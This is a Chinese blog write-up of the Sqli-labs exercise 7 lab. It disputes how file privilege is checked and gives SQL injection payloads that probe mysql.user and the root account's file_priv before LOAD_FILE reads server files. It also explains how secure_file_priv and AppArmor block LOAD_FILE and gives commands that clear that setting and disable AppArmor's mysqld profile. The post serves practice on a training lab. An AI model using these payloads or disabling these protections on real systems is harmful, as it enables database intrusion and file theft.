使用条件:
A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权
(注,上面两段话有争议,具体请看另一篇博客)
B、欲读取文件必须在服务器上 "
当时为了保证转载的完整性,仅仅标注了质疑,这次借用这篇博客,同时在查阅大量资料的情况下阐述自己的观点。
and (select count(*) from mysql.user)>0
它的返回值来判断是否有读写文件的权限有失全面。原因有两点:
1.mysql.user本身是一张保存用户权限的表,里面包含了登入mysql数据库的各个账号的权限,其结构如下:
mysql> desc mysql.user;
+------------------------+-----------------------------------+------+-----+----- ----+-------+
| Field | Type | Null | Key | Defa ult | Extra |
+------------------------+-----------------------------------+------+-----+----- ----+-------+
| Host | char(60) | NO | PRI | | |
| User | char(16) | NO | PRI | | |
| Password | char(41) | NO | | | |
| Select_priv | enum('N','Y') | NO | | N | |
| Insert_priv | enum('N','Y') | NO | | N | |
...
| File_priv | enum('N','Y') | NO | | N | |
+------------------------+-----------------------------------+------+-----+-----
其中包含了用户名/密码/执行增删改查的权限,同时也包括了文件权限。执行(select count(*) from mysql.user)>0,并返回TRUE,个人觉得仅仅说明当前登入mysql的用户有访问mysql.user这张表的权限,同时表中内容非空。
2.想确定某一用户是否有操作文件的权限,可能需要执行下列语句:
2.1.获得当前登入mysql的用户:
mysql> select user();
+--------+
| user() |
+--------+
| root@ |
+--------+
1 row in set (0.00 sec)
2.2.获得该用户的文件权限:
mysql> select ((select file_priv from mysql.user where user='root' limit 0,1)='Y')as priv;
+------+
| priv |
+------+
| 1 |
+------+
1 row in set (0.00 sec)
进入主题,Sqli-labs练习7后台获取id的PHP语句如下:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
如果URL中输入有效的ID,页面如下:
否则,页面呈现这样的结果:
在执行Load_file前需要准备3种payload:
1.mysql.user的访问权限:
1')) and (select count(*) from mysql.user)>0 --
当前用户可以访问mysql.user表
2.获取用户:
目前获取用户只能通过盲注,盲注的结果显示当前用户是:root
3.判断用户有文件权限:
1')) and (select (select file_priv from mysql.user where user='root' limit 0,1)='Y') --

经历以上步骤后,可以确定root用户具有操作文件的权限,接下来才能执行Load_file注入。
参考资料:MySQL Injection - Simple Load File and Into OutFile
=======================================
后记:
对于新版本的MySQL,即使当前用户拥有操作文件的权限,调用load_file以后仍有可能会返回NULL。我曾尝试在/var/www/html目录下创建一个文本文件:
执行load_file的结果如下:
mysql> select user, file_priv from mysql.user;
+------------------+-----------+
| user | file_priv |
+------------------+-----------+
| root | Y |
| root | Y |
| root | Y |
| root | Y |
| debian-sys-maint | Y |
+------------------+-----------+
5 rows in set (0.00 sec)
mysql> select load_file('/var/www/html/flag.txt');
+-------------------------------------+
| load_file('/var/www/html/flag.txt') |
+-------------------------------------+
| NULL |
+-------------------------------------+
1 row in set (0.00 sec)
查找了很多页面才了解到,高版本的mysql引入了secure-file-priv特性。secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1.当ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出;
2.当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下;
3.当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。
此开关默认为NULL,即不允许导入导出。查看secure-file-priv参数的值:
mysql> show global variables like '%secure%';
+------------------+-----------------------+
| Variable_name | Value |
+------------------+-----------------------+
| secure_auth | OFF |
| secure_file_priv | /var/lib/mysql-files/ |
+------------------+-----------------------+
2 rows in set (0.00 sec)
解决方案:
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
然后重启mysql,再查询secure_file_priv
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
mysql> select load_file('/var/www/html/flag.txt');
+-------------------------------------+
| load_file('/var/www/html/flag.txt') |
+-------------------------------------+
| flag!
|
+-------------------------------------+
1 row in set (0.00 sec)
除了mysql的这个配置项,ubuntu的一项安全策略也可能导致load_file返回NULL,它就是AppArmor安全模块。使用apparmor_status命令检查AppArmor的安全策略:
$ sudo apparmor_status
apparmor module is loaded.
6 profiles are loaded.
6 profiles are in enforce mode.
/sbin/dhclient
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/connman/scripts/dhclient-script
/usr/sbin/mysqld
/usr/sbin/ntpd
/usr/sbin/tcpdump
0 profiles are in complain mode.
2 processes have profiles defined.
2 processes are in enforce mode.
/usr/sbin/mysqld (27816)
/usr/sbin/ntpd (31952)
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.
当前AppArmor设置都保存在
/etc/apparmor.d/目录下。关闭AppArmor的某项设置的命令形如:
sudo ln -s /etc/apparmor.d/{profile.name-here} /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/{profile.name-name-here}
关闭AppArmor对mysql的保护:
sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld
再次检测AppArmor的状态:
sudo aa-status
apparmor module is loaded.
5 profiles are loaded.
5 profiles are in enforce mode.
/sbin/dhclient
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/connman/scripts/dhclient-script
/usr/sbin/ntpd
/usr/sbin/tcpdump
0 profiles are in complain mode.
1 processes have profiles defined.
1 processes are in enforce mode.
/usr/sbin/ntpd (31952)
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.
如果想要打开AppArmor对mysql的保护作用,运行下列命令:
sudo rm /etc/apparmor.d/disable/usr.sbin.mysqld
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.mysqld